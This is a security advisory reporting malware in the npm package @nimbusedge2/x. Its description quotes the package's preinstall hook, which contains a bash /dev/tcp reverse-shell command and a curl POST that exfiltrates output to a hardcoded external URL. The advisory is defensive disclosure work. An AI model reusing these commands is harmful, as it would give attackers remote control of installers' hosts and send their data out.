Skip to main content
Menu
Advisories

Malicious code in @nimbusedge2/x (npm)

GHSA-488M-X4JR-5X75Published Updated GitHubMalware

Description

Source: amazon-inspector (45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e)

package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a hardcoded IP-based host (147.93.157.202 via nip.io) on port 8080, and pipes activity through curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, an install-time cleartext-HTTP beacon to an external endpoint. The reverse shell grants the remote endpoint interactive command execution on the installer's host at install time; the paired POST exfiltrates output to a hardcoded external URL. No legitimate functionality is shipped alongside these actions.

---

Credit: OpenSSF (source)

Affected versions

References